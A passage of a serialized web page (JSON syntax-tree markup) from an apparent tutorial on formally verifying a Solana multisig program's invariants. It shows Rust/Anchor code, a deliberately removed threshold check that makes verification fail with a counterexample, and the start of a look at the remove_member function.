members\n}\n",[6134],{"type":24,"tag":284,"props":6135,"children":6136},{"__ignoreMap":7},[6137,6144,6169,6176,6200,6251,6258,6277,6304,6331,6358,6385,6412,6439,6466,6501],{"type":24,"tag":327,"props":6138,"children":6139},{"class":329,"line":330},[6140],{"type":24,"tag":327,"props":6141,"children":6142},{"style":346},[6143],{"type":29,"value":2136},{"type":24,"tag":327,"props":6145,"children":6146},{"class":329,"line":367},[6147,6151,6156,6160,6165],{"type":24,"tag":327,"props":6148,"children":6149},{"style":346},[6150],{"type":29,"value":4249},{"type":24,"tag":327,"props":6152,"children":6153},{"style":1639},[6154],{"type":29,"value":6155},"Clone",{"type":24,"tag":327,"props":6157,"children":6158},{"style":346},[6159],{"type":29,"value":2744},{"type":24,"tag":327,"props":6161,"children":6162},{"style":1639},[6163],{"type":29,"value":6164},"Debug",{"type":24,"tag":327,"props":6166,"children":6167},{"style":346},[6168],{"type":29,"value":1609},{"type":24,"tag":327,"props":6170,"children":6171},{"class":329,"line":408},[6172],{"type":24,"tag":327,"props":6173,"children":6174},{"style":346},[6175],{"type":29,"value":2144},{"type":24,"tag":327,"props":6177,"children":6178},{"class":329,"line":421},[6179,6184,6188,6192,6196],{"type":24,"tag":327,"props":6180,"children":6181},{"style":346},[6182],{"type":29,"value":6183},"    (self",{"type":24,"tag":327,"props":6185,"children":6186},{"style":381},[6187],{"type":29,"value":66},{"type":24,"tag":327,"props":6189,"children":6190},{"style":346},[6191],{"type":29,"value":2446},{"type":24,"tag":327,"props":6193,"children":6194},{"style":381},[6195],{"type":29,"value":2166},{"type":24,"tag":327,"props":6197,"children":6198},{"style":346},[6199],{"type":29,"value":2455},{"type":24,"tag":327,"props":6201,"children":6202},{"class":329,"line":450},[6203,6207,6211,6215,6219,6223,6227,6231,6235,6239,6243,6247],{"type":24,"tag":327,"props":6204,"children":6205},{"style":381},[6206],{"type":29,"value":2371},{"type":24,"tag":327,"props":6208,"children":6209},{"style":346},[6210],{"type":29,"value":2376},{"type":24,"tag":327,"props":6212,"children":6213},{"style":381},[6214],{"type":29,"value":66},{"type":24,"tag":327,"props":6216,"children":6217},{"style":346},[6218],{"type":29,"value":2446},{"type":24,"tag":327,"props":6220,"children":6221},{"style":334},[6222],{"type":29,"value":2479},{"type":24,"tag":327,"props":6224,"children":6225},{"style":1639},[6226],{"type":29,"value":2422},{"type":24,"tag":327,"props":6228,"children":6229},{"style":381},[6230],{"type":29,"value":2488},{"type":24,"tag":327,"props":6232,"children":6233},{"style":346},[6234],{"type":29,"value":2171},{"type":24,"tag":327,"props":6236,"children":6237},{"style":381},[6238],{"type":29,"value":66},{"type":24,"tag":327,"props":6240,"children":6241},{"style":346},[6242],{"type":29,"value":2354},{"type":24,"tag":327,"props":6244,"children":6245},{"style":381},[6246],{"type":29,"value":66},{"type":24,"tag":327,"props":6248,"children":6249},{"style":346},[6250],{"type":29,"value":2509},{"type":24,"tag":327,"props":6252,"children":6253},{"class":329,"line":481},[6254],{"type":24,"tag":327,"props":6255,"children":6256},{"style":346},[6257],{"type":29,"value":1609},{"type":24,"tag":327,"props":6259,"children":6260},{"class":329,"line":500},[6261,6265,6269,6273],{"type":24,"tag":327,"props":6262,"children":6263},{"style":334},[6264],{"type":29,"value":2524},{"type":24,"tag":327,"props":6266,"children":6267},{"style":334},[6268],{"type":29,"value":2529},{"type":24,"tag":327,"props":6270,"children":6271},{"style":1639},[6272],{"type":29,"value":2534},{"type":24,"tag":327,"props":6274,"children":6275},{"style":346},[6276],{"type":29,"value":497},{"type":24,"tag":327,"props":6278,"children":6279},{"class":329,"line":529},[6280,6284,6288,6292,6296,6300],{"type":24,"tag":327,"props":6281,"children":6282},{"style":334},[6283],{"type":29,"value":2212},{"type":24,"tag":327,"props":6285,"children":6286},{"style":356},[6287],{"type":29,"value":2550},{"type":24,"tag":327,"props":6289,"children":6290},{"style":381},[6291],{"type":29,"value":1636},{"type":24,"tag":327,"props":6293,"children":6294},{"style":1639},[6295],{"type":29,"value":2402},{"type":24,"tag":327,"props":6297,"children":6298},{"style":346},[6299],{"type":29,"value":2563},{"type":24,"tag":327,"props":6301,"children":6302},{"style":551},[6303],{"type":29,"value":2568},{"type":24,"tag":327,"props":6305,"children":6306},{"class":329,"line":538},[6307,6311,6315,6319,6323,6327],{"type":24,"tag":327,"props":6308,"children":6309},{"style":334},[6310],{"type":29,"value":2212},{"type":24,"tag":327,"props":6312,"children":6313},{"style":356},[6314],{"type":29,"value":2580},{"type":24,"tag":327,"props":6316,"children":6317},{"style":381},[6318],{"type":29,"value":1636},{"type":24,"tag":327,"props":6320,"children":6321},{"style":1639},[6322],{"type":29,"value":2402},{"type":24,"tag":327,"props":6324,"children":6325},{"style":346},[6326],{"type":29,"value":2593},{"type":24,"tag":327,"props":6328,"children":6329},{"style":551},[6330],{"type":29,"value":2598},{"type":24,"tag":327,"props":6332,"children":6333},{"class":329,"line":547},[6334,6338,6342,6346,6350,6354],{"type":24,"tag":327,"props":6335,"children":6336},{"style":334},[6337],{"type":29,"value":2212},{"type":24,"tag":327,"props":6339,"children":6340},{"style":356},[6341],{"type":29,"value":2610},{"type":24,"tag":327,"props":6343,"children":6344},{"style":381},[6345],{"type":29,"value":1636},{"type":24,"tag":327,"props":6347,"children":6348},{"style":1639},[6349],{"type":29,"value":2619},{"type":24,"tag":327,"props":6351,"children":6352},{"style":346},[6353],{"type":29,"value":2624},{"type":24,"tag":327,"props":6355,"children":6356},{"style":551},[6357],{"type":29,"value":2629},{"type":24,"tag":327,"props":6359,"children":6360},{"class":329,"line":557},[6361,6365,6369,6373,6377,6381],{"type":24,"tag":327,"props":6362,"children":6363},{"style":334},[6364],{"type":29,"value":2212},{"type":24,"tag":327,"props":6366,"children":6367},{"style":356},[6368],{"type":29,"value":2641},{"type":24,"tag":327,"props":6370,"children":6371},{"style":381},[6372],{"type":29,"value":1636},{"type":24,"tag":327,"props":6374,"children":6375},{"style":1639},[6376],{"type":29,"value":2619},{"type":24,"tag":327,"props":6378,"children":6379},{"style":346},[6380],{"type":29,"value":2593},{"type":24,"tag":327,"props":6382,"children":6383},{"style":551},[6384],{"type":29,"value":2658},{"type":24,"tag":327,"props":6386,"children":6387},{"class":329,"line":586},[6388,6392,6396,6400,6404,6408],{"type":24,"tag":327,"props":6389,"children":6390},{"style":334},[6391],{"type":29,"value":2212},{"type":24,"tag":327,"props":6393,"children":6394},{"style":356},[6395],{"type":29,"value":2670},{"type":24,"tag":327,"props":6397,"children":6398},{"style":381},[6399],{"type":29,"value":1636},{"type":24,"tag":327,"props":6401,"children":6402},{"style":1639},[6403],{"type":29,"value":2679},{"type":24,"tag":327,"props":6405,"children":6406},{"style":346},[6407],{"type":29,"value":2684},{"type":24,"tag":327,"props":6409,"children":6410},{"style":551},[6411],{"type":29,"value":2689},{"type":24,"tag":327,"props":6413,"children":6414},{"class":329,"line":1017},[6415,6419,6423,6427,6431,6435],{"type":24,"tag":327,"props":6416,"children":6417},{"style":334},[6418],{"type":29,"value":2212},{"type":24,"tag":327,"props":6420,"children":6421},{"style":356},[6422],{"type":29,"value":2701},{"type":24,"tag":327,"props":6424,"children":6425},{"style":381},[6426],{"type":29,"value":1636},{"type":24,"tag":327,"props":6428,"children":6429},{"style":1639},[6430],{"type":29,"value":2226},{"type":24,"tag":327,"props":6432,"children":6433},{"style":346},[6434],{"type":29,"value":2714},{"type":24,"tag":327,"props":6436,"children":6437},{"style":551},[6438],{"type":29,"value":2719},{"type":24,"tag":327,"props":6440,"children":6441},{"class":329,"line":1026},[6442,6446,6450,6454,6458,6462],{"type":24,"tag":327,"props":6443,"children":6444},{"style":334},[6445],{"type":29,"value":2212},{"type":24,"tag":327,"props":6447,"children":6448},{"style":356},[6449],{"type":29,"value":2731},{"type":24,"tag":327,"props":6451,"children":6452},{"style":381},[6453],{"type":29,"value":1636},{"type":24,"tag":327,"props":6455,"children":6456},{"style":1639},[6457],{"type":29,"value":1935},{"type":24,"tag":327,"props":6459,"children":6460},{"style":346},[6461],{"type":29,"value":2744},{"type":24,"tag":327,"props":6463,"children":6464},{"style":551},[6465],{"type":29,"value":2749},{"type":24,"tag":327,"props":6467,"children":6468},{"class":329,"line":1048},[6469,6473,6477,6481,6485,6489,6493,6497],{"type":24,"tag":327,"props":6470,"children":6471},{"style":334},[6472],{"type":29,"value":2212},{"type":24,"tag":327,"props":6474,"children":6475},{"style":356},[6476],{"type":29,"value":2761},{"type":24,"tag":327,"props":6478,"children":6479},{"style":381},[6480],{"type":29,"value":1636},{"type":24,"tag":327,"props":6482,"children":6483},{"style":1639},[6484],{"type":29,"value":2770},{"type":24,"tag":327,"props":6486,"children":6487},{"style":346},[6488],{"type":29,"value":1596},{"type":24,"tag":327,"props":6490,"children":6491},{"style":1639},[6492],{"type":29,"value":2779},{"type":24,"tag":327,"props":6494,"children":6495},{"style":346},[6496],{"type":29,"value":2784},{"type":24,"tag":327,"props":6498,"children":6499},{"style":551},[6500],{"type":29,"value":2789},{"type":24,"tag":327,"props":6502,"children":6503},{"class":329,"line":1067},[6504],{"type":24,"tag":327,"props":6505,"children":6506},{"style":346},[6507],{"type":29,"value":592},{"type":24,"tag":25,"props":6509,"children":6510},{},[6511,6513,6518],{"type":29,"value":6512},"Our verification framework will generate an invariant harness for each instruction. Instructions that can potentially modify the ",{"type":24,"tag":284,"props":6514,"children":6516},{"className":6515},[],[6517],{"type":29,"value":4153},{"type":29,"value":6519}," object will be checked to ensure that the invariant still holds after modification.",{"type":24,"tag":25,"props":6521,"children":6522},{},[6523,6525,6530],{"type":29,"value":6524},"Let's try this on the ",{"type":24,"tag":284,"props":6526,"children":6528},{"className":6527},[],[6529],{"type":29,"value":4232},{"type":29,"value":6531}," instruction that we've already seen:",{"type":24,"tag":317,"props":6533,"children":6535},{"code":6534},"VERIFICATION:- SUCCESSFUL\nVerification Time: 6.8006988s\n",[6536],{"type":24,"tag":284,"props":6537,"children":6538},{"__ignoreMap":7},[6539],{"type":29,"value":6534},{"type":24,"tag":25,"props":6541,"children":6542},{},[6543,6545,6550],{"type":29,"value":6544},"To ensure this is working, we can test by commenting out this check from ",{"type":24,"tag":284,"props":6546,"children":6548},{"className":6547},[],[6549],{"type":29,"value":4232},{"type":29,"value":1636},{"type":24,"tag":317,"props":6552,"children":6554},{"code":6553,"language":1552,"meta":7,"className":1553,"style":7},"// if usize::from(threshold) \u003C 1 || usize::from(threshold) > total_members {\n//     return err!(MsError::InvalidThreshold);\n// }\n",[6555],{"type":24,"tag":284,"props":6556,"children":6557},{"__ignoreMap":7},[6558,6566,6574],{"type":24,"tag":327,"props":6559,"children":6560},{"class":329,"line":330},[6561],{"type":24,"tag":327,"props":6562,"children":6563},{"style":551},[6564],{"type":29,"value":6565},"// if usize::from(threshold) \u003C 1 || usize::from(threshold) > total_members {\n",{"type":24,"tag":327,"props":6567,"children":6568},{"class":329,"line":367},[6569],{"type":24,"tag":327,"props":6570,"children":6571},{"style":551},[6572],{"type":29,"value":6573},"//     return err!(MsError::InvalidThreshold);\n",{"type":24,"tag":327,"props":6575,"children":6576},{"class":329,"line":408},[6577],{"type":24,"tag":327,"props":6578,"children":6579},{"style":551},[6580],{"type":29,"value":6581},"// }\n",{"type":24,"tag":25,"props":6583,"children":6584},{},[6585],{"type":29,"value":6586},"And run again:",{"type":24,"tag":317,"props":6588,"children":6590},{"code":6589},"VERIFICATION:- FAILED\nVerification Time: 8.245743s\n",[6591],{"type":24,"tag":284,"props":6592,"children":6593},{"__ignoreMap":7},[6594],{"type":29,"value":6589},{"type":24,"tag":25,"props":6596,"children":6597},{},[6598],{"type":29,"value":6599},"We get the following counterexample:",{"type":24,"tag":317,"props":6601,"children":6603},{"code":6602,"language":1552,"meta":7,"className":1553,"style":7},"Account {\n    account: Ms {\n        threshold: 32768,\n        authority_index: 1,\n        transaction_index: 0,\n        ms_change_index: 0,\n        bump: 0,\n        create_key: ...,\n        allow_external_execute: false,\n        keys: SparseVec {\n            size: 5112,\n        },\n    },\n    info: AccountInfo { ... },\n}\n",[6604],{"type":24,"tag":284,"props":6605,"children":6606},{"__ignoreMap":7},[6607,6619,6639,6659,6679,6700,6720,6740,6760,6781,6802,6823,6831,6839,6869],{"type":24,"tag":327,"props":6608,"children":6609},{"class":329,"line":330},[6610,6615],{"type":24,"tag":327,"props":6611,"children":6612},{"style":1639},[6613],{"type":29,"value":6614},"Account",{"type":24,"tag":327,"props":6616,"children":6617},{"style":346},[6618],{"type":29,"value":497},{"type":24,"tag":327,"props":6620,"children":6621},{"class":329,"line":367},[6622,6627,6631,6635],{"type":24,"tag":327,"props":6623,"children":6624},{"style":356},[6625],{"type":29,"value":6626},"    account",{"type":24,"tag":327,"props":6628,"children":6629},{"style":381},[6630],{"type":29,"value":1636},{"type":24,"tag":327,"props":6632,"children":6633},{"style":1639},[6634],{"type":29,"value":2534},{"type":24,"tag":327,"props":6636,"children":6637},{"style":346},[6638],{"type":29,"value":497},{"type":24,"tag":327,"props":6640,"children":6641},{"class":329,"line":408},[6642,6646,6650,6655],{"type":24,"tag":327,"props":6643,"children":6644},{"style":356},[6645],{"type":29,"value":5269},{"type":24,"tag":327,"props":6647,"children":6648},{"style":381},[6649],{"type":29,"value":1636},{"type":24,"tag":327,"props":6651,"children":6652},{"style":397},[6653],{"type":29,"value":6654}," 32768",{"type":24,"tag":327,"props":6656,"children":6657},{"style":346},[6658],{"type":29,"value":2231},{"type":24,"tag":327,"props":6660,"children":6661},{"class":329,"line":421},[6662,6667,6671,6675],{"type":24,"tag":327,"props":6663,"children":6664},{"style":356},[6665],{"type":29,"value":6666},"        authority_index",{"type":24,"tag":327,"props":6668,"children":6669},{"style":381},[6670],{"type":29,"value":1636},{"type":24,"tag":327,"props":6672,"children":6673},{"style":397},[6674],{"type":29,"value":522},{"type":24,"tag":327,"props":6676,"children":6677},{"style":346},[6678],{"type":29,"value":2231},{"type":24,"tag":327,"props":6680,"children":6681},{"class":329,"line":450},[6682,6687,6691,6696],{"type":24,"tag":327,"props":6683,"children":6684},{"style":356},[6685],{"type":29,"value":6686},"        transaction_index",{"type":24,"tag":327,"props":6688,"children":6689},{"style":381},[6690],{"type":29,"value":1636},{"type":24,"tag":327,"props":6692,"children":6693},{"style":397},[6694],{"type":29,"value":6695}," 0",{"type":24,"tag":327,"props":6697,"children":6698},{"style":346},[6699],{"type":29,"value":2231},{"type":24,"tag":327,"props":6701,"children":6702},{"class":329,"line":481},[6703,6708,6712,6716],{"type":24,"tag":327,"props":6704,"children":6705},{"style":356},[6706],{"type":29,"value":6707},"        ms_change_index",{"type":24,"tag":327,"props":6709,"children":6710},{"style":381},[6711],{"type":29,"value":1636},{"type":24,"tag":327,"props":6713,"children":6714},{"style":397},[6715],{"type":29,"value":6695},{"type":24,"tag":327,"props":6717,"children":6718},{"style":346},[6719],{"type":29,"value":2231},{"type":24,"tag":327,"props":6721,"children":6722},{"class":329,"line":500},[6723,6728,6732,6736],{"type":24,"tag":327,"props":6724,"children":6725},{"style":356},[6726],{"type":29,"value":6727},"        bump",{"type":24,"tag":327,"props":6729,"children":6730},{"style":381},[6731],{"type":29,"value":1636},{"type":24,"tag":327,"props":6733,"children":6734},{"style":397},[6735],{"type":29,"value":6695},{"type":24,"tag":327,"props":6737,"children":6738},{"style":346},[6739],{"type":29,"value":2231},{"type":24,"tag":327,"props":6741,"children":6742},{"class":329,"line":529},[6743,6747,6751,6756],{"type":24,"tag":327,"props":6744,"children":6745},{"style":356},[6746],{"type":29,"value":5282},{"type":24,"tag":327,"props":6748,"children":6749},{"style":381},[6750],{"type":29,"value":1636},{"type":24,"tag":327,"props":6752,"children":6753},{"style":381},[6754],{"type":29,"value":6755}," ...",{"type":24,"tag":327,"props":6757,"children":6758},{"style":346},[6759],{"type":29,"value":2231},{"type":24,"tag":327,"props":6761,"children":6762},{"class":329,"line":538},[6763,6768,6772,6777],{"type":24,"tag":327,"props":6764,"children":6765},{"style":356},[6766],{"type":29,"value":6767},"        allow_external_execute",{"type":24,"tag":327,"props":6769,"children":6770},{"style":381},[6771],{"type":29,"value":1636},{"type":24,"tag":327,"props":6773,"children":6774},{"style":334},[6775],{"type":29,"value":6776}," false",{"type":24,"tag":327,"props":6778,"children":6779},{"style":346},[6780],{"type":29,"value":2231},{"type":24,"tag":327,"props":6782,"children":6783},{"class":329,"line":547},[6784,6789,6793,6798],{"type":24,"tag":327,"props":6785,"children":6786},{"style":356},[6787],{"type":29,"value":6788},"        keys",{"type":24,"tag":327,"props":6790,"children":6791},{"style":381},[6792],{"type":29,"value":1636},{"type":24,"tag":327,"props":6794,"children":6795},{"style":1639},[6796],{"type":29,"value":6797}," SparseVec",{"type":24,"tag":327,"props":6799,"children":6800},{"style":346},[6801],{"type":29,"value":497},{"type":24,"tag":327,"props":6803,"children":6804},{"class":329,"line":557},[6805,6810,6814,6819],{"type":24,"tag":327,"props":6806,"children":6807},{"style":356},[6808],{"type":29,"value":6809},"            size",{"type":24,"tag":327,"props":6811,"children":6812},{"style":381},[6813],{"type":29,"value":1636},{"type":24,"tag":327,"props":6815,"children":6816},{"style":397},[6817],{"type":29,"value":6818}," 5112",{"type":24,"tag":327,"props":6820,"children":6821},{"style":346},[6822],{"type":29,"value":2231},{"type":24,"tag":327,"props":6824,"children":6825},{"class":329,"line":586},[6826],{"type":24,"tag":327,"props":6827,"children":6828},{"style":346},[6829],{"type":29,"value":6830},"        },\n",{"type":24,"tag":327,"props":6832,"children":6833},{"class":329,"line":1017},[6834],{"type":24,"tag":327,"props":6835,"children":6836},{"style":346},[6837],{"type":29,"value":6838},"    },\n",{"type":24,"tag":327,"props":6840,"children":6841},{"class":329,"line":1026},[6842,6847,6851,6856,6860,6864],{"type":24,"tag":327,"props":6843,"children":6844},{"style":356},[6845],{"type":29,"value":6846},"    info",{"type":24,"tag":327,"props":6848,"children":6849},{"style":381},[6850],{"type":29,"value":1636},{"type":24,"tag":327,"props":6852,"children":6853},{"style":1639},[6854],{"type":29,"value":6855}," AccountInfo",{"type":24,"tag":327,"props":6857,"children":6858},{"style":346},[6859],{"type":29,"value":1940},{"type":24,"tag":327,"props":6861,"children":6862},{"style":381},[6863],{"type":29,"value":1922},{"type":24,"tag":327,"props":6865,"children":6866},{"style":346},[6867],{"type":29,"value":6868}," },\n",{"type":24,"tag":327,"props":6870,"children":6871},{"class":329,"line":1048},[6872],{"type":24,"tag":327,"props":6873,"children":6874},{"style":346},[6875],{"type":29,"value":592},{"type":24,"tag":25,"props":6877,"children":6878},{},[6879,6881,6886,6888,6893],{"type":29,"value":6880},"Here we see that the ",{"type":24,"tag":284,"props":6882,"children":6884},{"className":6883},[],[6885],{"type":29,"value":4161},{"type":29,"value":6887}," of the newly created ",{"type":24,"tag":284,"props":6889,"children":6891},{"className":6890},[],[6892],{"type":29,"value":4153},{"type":29,"value":6894}," account is larger than the number of keys (5112) which breaks our struct invariant.",{"type":24,"tag":235,"props":6896,"children":6898},{"id":6897},"verify-requirements-to-remove-a-member",[6899],{"type":29,"value":4191},{"type":24,"tag":25,"props":6901,"children":6902},{},[6903,6905,6910,6911,6916,6918,6924],{"type":29,"value":6904},"Now that we've seen both ",{"type":24,"tag":284,"props":6906,"children":6908},{"className":6907},[],[6909],{"type":29,"value":1501},{"type":29,"value":1323},{"type":24,"tag":284,"props":6912,"children":6914},{"className":6913},[],[6915],{"type":29,"value":3184},{"type":29,"value":6917}," let's take a look at the ",{"type":24,"tag":284,"props":6919,"children":6921},{"className":6920},[],[6922],{"type":29,"value":6923},"remove_member",{"type":29,"value":6925}," function:",{"type":24,"tag":317,"props":6927,"children":6929},{"code":6928,"language":1552,"meta":7,"className":1553,"style":7},"#[derive(Accounts, Debug)]\npub struct MsAuth\u003C'info> {\n    #[account(mut)]\n    multisig: Box\u003CAccount\u003C'info, Ms>>,\n    #[account(\n        mut,\n        seeds = [\n            b\"squad\",\n            multisig.create_key.as_ref(),\n            b\"multisig\"\n        ], bump = multisig.bump\n    )]\n    pub multisig_auth: Signer\u003C'info>,\n}\n\npub fn remove_member(ctx: Context\u003CMsAuth>, old_member: Pubkey) -> Result\u003C()> {\n    // if there is only one key in this multisig, reject the removal\n    if ctx.accounts.multisig.keys.len() == 1 {\n        return err!(MsError::CannotRemoveSoloMember);\n    }\n    ctx.accounts.multisig.remove_member(old_member)?;\n\n    // if the number of keys is now less than the threshold, adjust it\n    if ctx.accounts.multisig.keys.len() \u003C usize::from(ctx.accounts.multisig.threshold) {\n        let new_threshold: u16 = ctx.accounts.multisig.keys.len().try_into().unwrap();\n        ctx.accounts.multisig.change_threshold(new_threshold)?;\n    }\n    let new_index = ctx.accounts.multisig.transaction_index;\n    ctx.accounts.multisig.set_change_index(new_index)\n}\n",[6930],{"type":24,"tag":284,"props":6931,"children":6932},{"__ignoreMap":7},[6933,6956,6984,6999,7045,7052,7064,7080,7092,7118,7126,7155,7162,7194,7201,7208,7282,7290,7351,7383,7390,7442,7449,7457,7551,7642,7696,7703,7748,7793],{"type":24,"tag":327,"props":6934,"children":6935},{"class":329,"line":330},[6936,6940,6944,6948,6952],{"type":24,"tag":327,"props":6937,"children":6938},{"style":346},[6939],{"type":29,"value":4249},{"type":24,"tag":327,"props":6941,"children":6942},{"style":1639},[6943],{"type":29,"value":4254},{"type":24,"tag":327,"props":6945,"children":6946},{"style":346},[6947],{"type":29,"value":2744},{"type":24,"tag":327,"props":6949,"children":6950},{"style":1639},[6951],{"type":29,"value":6164},{"type":24,"tag":327,"props":6953,"children":6954},{"style":346},[6955],{"type":29,"value":1609},{"type":24,"tag":327,"props":6957,"children":6958},{"class":329,"line":367},[6959,6963,6967,6972,6976,6980],{"type":24,"tag":327,"props":6960,"children":6961},{"style":334},[6962],{"type":29,"value":2524},{"type":24,"tag":327,"props":6964,"children":6965},{"style":334},[6966],{"type":29,"value":2529},{"type":24,"tag":327,"props":6968,"children":6969},{"style":1639},[6970],{"type":29,"value":6971}," MsAuth",{"type":24,"tag":327,"props":6973,"children":6974},{"style":346},[6975],{"type":29,"value":4334},{"type":24,"tag":327,"props":6977,"children":6978},{"style":1639},[6979],{"type":29,"value":4339},{"type":24,"tag":327,"props":6981,"children":6982},{"style":346},[6983],{"type":29,"value":4344},{"type":24,"tag":327,"props":6985,"children":6986},{"class":329,"line":408},[6987,6991,6995],{"type":24,"tag":327,"props":6988,"children":6989},{"style":346},[6990],{"type":29,"value":4544},{"type":24,"tag":327,"props":6992,"children":6993},{"style":334},[6994],{"type":29,"value":2099},{"type":24,"tag":327,"props":6996,"children":6997},{"style":346},[6998],{"type":29,"value":1609},{"type":24,"tag":327,"props":7000,"children":7001},{"class":329,"line":421},[7002,7007,7011,7016,7020,7024,7028,7032,7036,7040],{"type":24,"tag":327,"props":7003,"children":7004},{"style":356},[7005],{"type":29,"value":7006},"    multisig",{"type":24,"tag":327,"props":7008,"children":7009},{"style":381},[7010],{"type":29,"value":1636},{"type":24,"tag":327,"props":7012,"children":7013},{"style":1639},[7014],{"type":29,"value":7015}," Box",{"type":24,"tag":327,"props":7017,"children":7018},{"style":346},[7019],{"type":29,"value":1596},{"type":24,"tag":327,"props":7021,"children":7022},{"style":1639},[7023],{"type":29,"value":6614},{"type":24,"tag":327,"props":7025,"children":7026},{"style":346},[7027],{"type":29,"value":4334},{"type":24,"tag":327,"props":7029,"children":7030},{"style":1639},[7031],{"type":29,"value":4339},{"type":24,"tag":327,"props":7033,"children":7034},{"style":346},[7035],{"type":29,"value":2744},{"type":24,"tag":327,"props":7037,"children":7038},{"style":1639},[7039],{"type":29,"value":4153},{"type":24,"tag":327,"props":7041,"children":7042},{"style":346},[7043],{"type":29,"value":7044},">>,\n",{"type":24,"tag":327,"props":7046,"children":7047},{"class":329,"line":450},[7048],{"type":24,"tag":327,"props":7049,"children":7050},{"style":346},[7051],{"type":29,"value":4352},{"type":24,"tag":327,"props":7053,"children":7054},{"class":329,"line":481},[7055,7060],{"type":24,"tag":327,"props":7056,"children":7057},{"style":334},[7058],{"type":29,"value":7059},"        mut",{"type":24,"tag":327,"props":7061,"children":7062},{"style":346},[7063],{"type":29,"value":2231},{"type":24,"tag":327,"props":7065,"children":7066},{"class":329,"line":500},[7067,7071,7075],{"type":24,"tag":327,"props":7068,"children":7069},{"style":346},[7070],{"type":29,"value":4437},{"type":24,"tag":327,"props":7072,"children":7073},{"style":381},[7074],{"type":29,"value":384},{"type":24,"tag":327,"props":7076,"children":7077},{"style":346},[7078],{"type":29,"value":7079}," [\n",{"type":24,"tag":327,"props":7081,"children":7082},{"class":329,"line":529},[7083,7088],{"type":24,"tag":327,"props":7084,"children":7085},{"style":844},[7086],{"type":29,"value":7087},"            b\"squad\"",{"type":24,"tag":327,"props":7089,"children":7090},{"style":346},[7091],{"type":29,"value":2231},{"type":24,"tag":327,"props":7093,"children":7094},{"class":329,"line":538},[7095,7100,7104,7109,7113],{"type":24,"tag":327,"props":7096,"children":7097},{"style":346},[7098],{"type":29,"value":7099},"            multisig",{"type":24,"tag":327,"props":7101,"children":7102},{"style":381},[7103],{"type":29,"value":66},{"type":24,"tag":327,"props":7105,"children":7106},{"style":346},[7107],{"type":29,"value":7108},"create_key",{"type":24,"tag":327,"props":7110,"children":7111},{"style":381},[7112],{"type":29,"value":66},{"type":24,"tag":327,"props":7114,"children":7115},{"style":346},[7116],{"type":29,"value":7117},"as_ref(),\n",{"type":24,"tag":327,"props":7119,"children":7120},{"class":329,"line":547},[7121],{"type":24,"tag":327,"props":7122,"children":7123},{"style":844},[7124],{"type":29,"value":7125},"            b\"multisig\"\n",{"type":24,"tag":327,"props":7127,"children":7128},{"class":329,"line":557},[7129,7134,7139,7143,7147,7151],{"type":24,"tag":327,"props":7130,"children":7131},{"style":346},[7132],{"type":29,"value":7133},"        ], ",{"type":24,"tag":327,"props":7135,"children":7136},{"style":356},[7137],{"type":29,"value":7138},"bump",{"type":24,"tag":327,"props":7140,"children":7141},{"style":381},[7142],{"type":29,"value":4809},{"type":24,"tag":327,"props":7144,"children":7145},{"style":356},[7146],{"type":29,"value":4499},{"type":24,"tag":327,"props":7148,"children":7149},{"style":381},[7150],{"type":29,"value":66},{"type":24,"tag":327,"props":7152,"children":7153},{"style":346},[7154],{"type":29,"value":4479},{"type":24,"tag":327,"props":7156,"children":7157},{"class":329,"line":586},[7158],{"type":24,"tag":327,"props":7159,"children":7160},{"style":346},[7161],{"type":29,"value":4487},{"type":24,"tag":327,"props":7163,"children":7164},{"class":329,"line":1017},[7165,7169,7174,7178,7182,7186,7190],{"type":24,"tag":327,"props":7166,"children":7167},{"style":334},[7168],{"type":29,"value":2212},{"type":24,"tag":327,"props":7170,"children":7171},{"style":356},[7172],{"type":29,"value":7173}," multisig_auth",{"type":24,"tag":327,"props":7175,"children":7176},{"style":381},[7177],{"type":29,"value":1636},{"type":24,"tag":327,"props":7179,"children":7180},{"style":1639},[7181],{"type":29,"value":4573},{"type":24,"tag":327,"props":7183,"children":7184},{"style":346},[7185],{"type":29,"value":4334},{"type":24,"tag":327,"props":7187,"children":7188},{"style":1639},[7189],{"type":29,"value":4339},{"type":24,"tag":327,"props":7191,"children":7192},{"style":346},[7193],{"type":29,"value":4529},{"type":24,"tag":327,"props":7195,"children":7196},{"class":329,"line":1026},[7197],{"type":24,"tag":327,"props":7198,"children":7199},{"style":346},[7200],{"type":29,"value":592},{"type":24,"tag":327,"props":7202,"children":7203},{"class":329,"line":1048},[7204],{"type":24,"tag":327,"props":7205,"children":7206},{"emptyLinePlaceholder":16},[7207],{"type":29,"value":544},{"type":24,"tag":327,"props":7209,"children":7210},{"class":329,"line":1067},[7211,7215,7219,7224,7228,7232,7236,7240,7244,7249,7253,7258,7262,7266,7270,7274,7278],{"type":24,"tag":327,"props":7212,"children":7213},{"style":334},[7214],{"type":29,"value":2524},{"type":24,"tag":327,"props":7216,"children":7217},{"style":334},[7218],{"type":29,"value":4653},{"type":24,"tag":327,"props":7220,"children":7221},{"style":340},[7222],{"type":29,"value":7223}," remove_member",{"type":24,"tag":327,"props":7225,"children":7226},{"style":346},[7227],{"type":29,"value":349},{"type":24,"tag":327,"props":7229,"children":7230},{"style":356},[7231],{"type":29,"value":1631},{"type":24,"tag":327,"props":7233,"children":7234},{"style":381},[7235],{"type":29,"value":1636},{"type":24,"tag":327,"props":7237,"children":7238},{"style":1639},[7239],{"type":29,"value":1642},{"type":24,"tag":327,"props":7241,"children":7242},{"style":346},[7243],{"type":29,"value":1596},{"type":24,"tag":327,"props":7245,"children":7246},{"style":1639},[7247],{"type":29,"value":7248},"MsAuth",{"type":24,"tag":327,"props":7250,"children":7251},{"style":346},[7252],{"type":29,"value":1655},{"type":24,"tag":327,"props":7254,"children":7255},{"style":356},[7256],{"type":29,"value":7257},"old_member",{"type":24,"tag":327,"props":7259,"children":7260},{"style":381},[7261],{"type":29,"value":1636},{"type":24,"tag":327,"props":7263,"children":7264},{"style":1639},[7265],{"type":29,"value":2226},{"type":24,"tag":327,"props":7267,"children":7268},{"style":346},[7269],{"type":29,"value":1674},{"type":24,"tag":327,"props":7271,"children":7272},{"style":381},[7273],{"type":29,"value":1679},{"type":24,"tag":327,"props":7275,"children":7276},{"style":1639},[7277],{"type":29,"value":1684},{"type":24,"tag":327,"props":7279,"children":7280},{"style":346},[7281],{"type":29,"value":1689},{"type":24,"tag":327,"props":7283,"children":7284},{"class":329,"line":1075},[7285],{"type":24,"tag":327,"props":7286,"children":7287},{"style":551},[7288],{"type":29,"value":7289},"    // if there is only one key in this multisig, reject the 